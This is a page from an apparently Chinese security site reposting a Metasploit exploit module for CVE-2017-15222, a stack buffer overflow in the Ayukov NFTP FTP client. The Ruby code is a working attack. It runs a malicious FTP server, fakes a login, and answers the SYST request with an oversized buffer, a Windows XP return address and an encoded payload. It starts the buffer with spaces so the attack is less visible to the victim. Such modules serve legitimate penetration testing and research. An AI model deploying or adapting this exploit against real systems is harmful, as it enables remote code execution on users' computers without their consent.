首页 | 安全文章 | 安全工具 | Exploits | 本站原创 | 关于我们 | 网站地图 | 安全论坛
  当前位置:主页>安全文章>文章资料>Exploits>文章内容
Ayukov NFTP FTP Client Buffer Overflow
来源:metasploit.com 作者:Teixeira 发布时间:2018-01-05  
##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##

class MetasploitModule < Msf::Exploit::Remote
  Rank = NormalRanking

  include Msf::Exploit::Remote::TcpServer

  def initialize(info = {})
    super(update_info(info,
      'Name'           => 'Ayukov NFTP FTP Client Buffer Overflow',
      'Description'    => %q{
          This module exploits a stack-based buffer overflow vulnerability against Ayukov NFTPD FTP
          Client 2.0 and earlier. By responding with a long string of data for the SYST request, it
          is possible to cause a denail-of-service condition on the FTP client, or arbitrary remote
          code exeuction under the context of the user if successfully exploited.
      },
      'Author'   =>
        [
          'Berk Cem Goksel',  # Original exploit author
          'Daniel Teixeira',  # MSF module author
          'sinn3r'            # RCA, improved module reliability and user exp
        ],
      'License'        => MSF_LICENSE,
      'References'     =>
        [
          [ 'CVE', '2017-15222'],
          [ 'EDB', '43025' ],
        ],
      'Payload'        =>
        {
          'BadChars' => "\x00\x01\x0a\x10\x0d",
          'StackAdjustment' => -3500
        },
      'Platform'       => 'win',
      'Targets'        =>
        [
    [ 'Windows XP Pro SP3 English', { 'Ret' => 0x77f31d2f } ], # GDI32.dll v5.1.2600.5512
        ],
      'Privileged'     => false,
      'DefaultOptions' =>
        {
      'SRVHOST' => '0.0.0.0',
        },
      'DisclosureDate' => 'Oct 21 2017',
      'DefaultTarget'  => 0))

    register_options(
      [
        OptPort.new('SRVPORT', [ true, "The FTP port to listen on", 21 ]),
      ])
  end

  def exploit
    srv_ip_for_client = datastore['SRVHOST']
    if srv_ip_for_client == '0.0.0.0'
      if datastore['LHOST']
        srv_ip_for_client = datastore['LHOST']
      else
        srv_ip_for_client = Rex::Socket.source_address('50.50.50.50')
      end
    end

    srv_port = datastore['SRVPORT']

    print_status("Please ask your target(s) to connect to #{srv_ip_for_client}:#{srv_port}")
    super
  end

  def on_client_connect(client)
    return if ((p = regenerate_payload(client)) == nil)
    print_status("#{client.peerhost} - connected")

    # Let the client log in
    client.get_once

    print_status("#{client.peerhost} - sending 331 OK")
    user = "331 OK.\r\n"
    client.put(user)

    client.get_once
    print_status("#{client.peerhost} - sending 230 OK")
    pass = "230 OK.\r\n"
    client.put(pass)

    # It is important to use 0x20 (space) as the first chunk of the buffer, because this chunk
    # is visible from the user's command prompt, which would make the buffer overflow attack too
    # obvious.
    sploit = "\x20"*4116

    sploit << [target.ret].pack('V')
    sploit << make_nops(10)
    sploit << payload.encoded
    sploit << Rex::Text.rand_text(15000 - 4116 - 4 - 16 - payload.encoded.length, payload_badchars)
    sploit << "\r\n"

    print_status("#{client.peerhost} - sending the malicious response")
    client.put(sploit)

    client.get_once
    pwd = "257\r\n"
    client.put(pwd)
    client.get_once

  end
end

 
[推荐] [评论(0条)] [返回顶部] [打印本页] [关闭窗口]  
匿名评论
评论内容:(不能超过250字,需审核后才会公布,请自觉遵守互联网相关政策法规。
 §最新评论:
  热点文章
·CVE-2012-0217 Intel sysret exp
·Linux Kernel 2.6.32 Local Root
·Array Networks vxAG / xAPV Pri
·Novell NetIQ Privileged User M
·Array Networks vAPV / vxAG Cod
·Excel SLYK Format Parsing Buff
·PhpInclude.Worm - PHP Scripts
·Apache 2.2.0 - 2.2.11 Remote e
·VideoScript 3.0 <= 4.0.1.50 Of
·Yahoo! Messenger Webcam 8.1 Ac
·Family Connections <= 1.8.2 Re
·Joomla Component EasyBook 1.1
  相关文章
·VMware Workstation ALSA Config
·GetGo Download Manager 5.3.0.2
·D-Link DNS-320L 'mydlinkBRiony
·Microsoft Windows win32k - Usi
·Western Digital WDMyCloud 'myd
·Cisco IOS - Remote Code Execut
·Iopsys Router - 'dhcp' Remote
·VX Search Enterprise 10.1.12 -
·Multiple CPUs - 'Spectre' Info
·Disk Pulse Enterprise 10.1.18
·Kingsoft Antivirus/Internet Se
·Sync Breeze Enterprise 10.1.16
  推荐广告
CopyRight © 2002-2022 VFocuS.Net All Rights Reserved